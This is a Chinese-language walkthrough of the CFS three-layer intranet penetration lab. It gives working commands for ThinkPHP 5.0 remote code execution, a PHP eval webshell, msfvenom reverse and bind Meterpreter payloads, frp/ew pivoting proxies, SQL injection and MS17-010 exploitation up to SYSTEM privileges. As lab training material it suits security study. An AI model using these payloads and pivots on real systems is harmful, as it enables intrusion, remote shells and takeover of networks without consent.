CFS三层内网渗透靶机
靶机环境搭建
攻击机 kali: 192.168.2.213
Vmware 网卡设置:
网络拓扑结构:
target1
访问"公网服务器" 192.168.2.236
发现是 ThinkPHP 5.0 。因此想到tp5的rce漏洞
/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
发现成功执行命令
直接写入shell.
http://192.168.2.236/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>" > shell.php
上传Meterpreter马
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.2.214 lport=5555 -f elf -o ./re
msf 中启用监听
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost 192.168.2.214
set lport 5555
run
在target1 服务器上执行
./re
成功获取到target1 的shell, 开始后续的渗透
查看子网段
run get_local_subnets
发现存在 192.168.22.0/24 网段,对该网段进一步的探测
首先添加路由到本机
run autoroute -s 192.168.22.0/24
run autoroute -p //查看路由情况
我们指定了子网 192.168.22.0/24的 下一跳路由为网关 Session1 因此我们后续就可以直接在msf中访问内网 将我们获取到的shell放置于后台运行
background
开始扫描该网段存活主机
use auxiliary/scanner/portscan/tcp
set rhost 192.168.22.0/24
set threads 50
run
发现了主机 192.168.22.22 开放了80端口(web服务) 为了方便测试,接下来应当将内网转发到攻击机上。
target2
在target1 中建立内网穿透,这里可以使用 frp、ew等内网穿透工具建立socks代理。 Frp示例: target1中上传frpc frpc.ini frpc.ini中写入
[common]
server_addr = 192.168.2.213
server_port = 7000
type = tcp remote_port = 11000 plugin = socks5 ; plugin_user = xxx ; plugin_passwd = xxx 攻击机启用frps 在frps.ini中写入 ind_port = 7000
运行后就建立了通过本地11000端口访问内网的socks5 代理 利用proxychains
等工具连接代理,浏览器设置socks5代理为192.168.2.236:11000 即可直接访问内网服务.
通过首页的hint,得知存在sql注入点 sqlmap 跑一波:
拿到管理员的登录账号密码
index.php?r=admin
成功登录后台
并且通过 模板选项卡写入shell
访问index.php?r=tag
成功getshell
挂上内网sock5代理后 通过蚁剑成功连接shell:
至此,我们已经拿到一台外网服务器(192.168.2.236)和一台内网服务器(192.168.22.22)的shell。
接下来想办法拿到 target2 的 meterpreter shell。
梳理一下目前的环境,我们的攻击机通过 target1 作跳板连接了 target2,但是target2 并不能够主动向我们的攻击机发起连接,因此通过直接上传马到target2 让其主动连接我们,进行反弹shell不可取。 所以要想办法让我们去主动连接 target2。 使用msf 的 bind 正向连接 target2 生成 bind 马:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > shell2.elf
开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 4321
run
上传shell2.elf
后执行 连接成功,取得target2 meterpreter
target3
同样的,看子网段:
发现存在 192.168.33.0/24
网段 添加该网段路由:
对该网段探测:
发现除了 192.168.33.22
自己,外 还有 33.33主机 对其端口进行单独扫描 两个敏感端口: 445(smb) 3389(rdp) 确定是windows 主机
利用msf模块检测smb是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.33.33
run
发现可能存在 ms17_010 永恒之蓝漏洞 寻找相关利用
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.33.33
run
漏洞利用执行成功后,会自动创建一个shell.
尝试自动提权
getsystem
发现成功获取system用户权限,直接修改administrator用户密码。 准备远程桌面登录 target3
建立两层内网穿透转发
为了在本地能够远程登陆内网机器 target3 ,需要将内网端口转发出来。 使用ew
工具可以快速的建立多级内网代理转发 首先将 ew工具上传到 target1和target2上
在 target2 上执行:
./ew -s ssocksd -l 1081
开启1081端口接受来自外部的流量
在 target1 上执行:
./ew -s lcx_tran -l 1082 -f 192.168.22.22 -g 1081
将来自1082端口的流量转发至内网 192.168.22.22 的 1081端口 在攻击机上,通过socks代理连接 192.168.2.236:1082
至此,我们建立了 Attacker -> target1 -> target2 的流量转发
配置好 proxychians
后, 本地直接执行
proxychains rdesktop 192.168.33.33
连接并成功登录内网机器。